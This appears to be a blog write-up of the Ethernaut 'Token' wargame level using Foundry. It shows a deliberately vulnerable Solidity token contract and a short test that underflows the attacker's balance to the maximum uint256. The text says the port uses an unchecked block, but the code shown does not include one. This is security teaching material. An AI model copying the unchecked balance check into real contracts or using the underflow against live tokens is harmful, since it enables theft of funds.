Ethernaut x Foundry - 0x5 Token

Ethernaut x Foundry - 0x5 Token

·

3 min read

Overview

This level introduces us to the following concept(s):

  • Arithmetic underflows/overflows
  • Usage of SafeMath library (and pragma solidity ^0.8.0)
  • unchecked keyword in Solidity

GitHub Repository available at: github.com/0xEval/ethernaut-x-foundry

Objective

To complete the challenge, we will need to:

  • Increase your initial token supply beyond 20

Contract Analysis

At contract creation, an initial token supply is created and is assigned to the deployer's balance (note the double = assignment pattern, read it from right to left)

The transfer() function allows the msg.sender to send some tokens to someone else, given he has sufficient balance.

Finally, we can inspect any address' balance using the balanceOf() function.

⚠️ It is important to mention that the original Ethernaut contract for this level is set to compiler version ^0.6.0. Our modified version runs on ^0.8.10, we will explain why this matters.

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

The contract is vulnerable to arithmetic over/underflows. Here's an excerpt from the Solidity docs:

Prior to Solidity 0.8.0, arithmetic operations would always wrap in case of under- or overflow leading to widespread use of libraries that introduce additional checks.

Since Solidity 0.8.0, all arithmetic operations revert on over- and underflow by default, thus making the use of these libraries unnecessary.

- docs.soliditylang.org/en/v0.8.13/control-st..

To understand what wrapping means, let's look at the following representation:

image.png

Storage values boundaries for different data types in C

Say you have a variable x of type unsigned int (uint):

  • If x = UINT_MAX and x = x + 1, then x will cycle back to its lower bound UINT_MIN
  • vice-versa if x = UINT_MIN and x = x - 1, then x will be equal to UINT_MAX

This is what's happening in the Token contract when calling the transfer() function!

Our custom contract has been ported to Solidity ^0.8.10, so it won't be vulnerable. But, we surround the arithmetic logic in an unchecked statement, which tells the compiler not to verify anything.

Contracts deployed on earlier versions of Solidity make use of battle-tested libraries to handle this for them. The most commonly used is OpenZeppelin's SafeMath. It is useful to be accustomed to it.

💡 Recommended reads:

Attacking The Contract

Make sure to read through Part 0 for setup instructions.

Create the Token.t.sol test file in the test/ directory that will contain the attack logic (level setup and submission is truncated for clarity):

function testTokenHack() public {

    tokenContract.transfer(address(0x1), 20);
    emit log_named_uint(
        "playerContract balance",
        tokenContract.balanceOf(address(attacker))
    );

    tokenContract.transfer(address(0x1), 1);
    emit log_named_uint(
        "playerContract balance",
        tokenContract.balanceOf(address(attacker))
    );

    // Check whether `balances[address(attacker)]` wrapped back to UINT256_MAX
    assertEq(tokenContract.balanceOf(address(attacker)), type(uint256).max);
}

Run the attack using the forge test subcommand:

image.png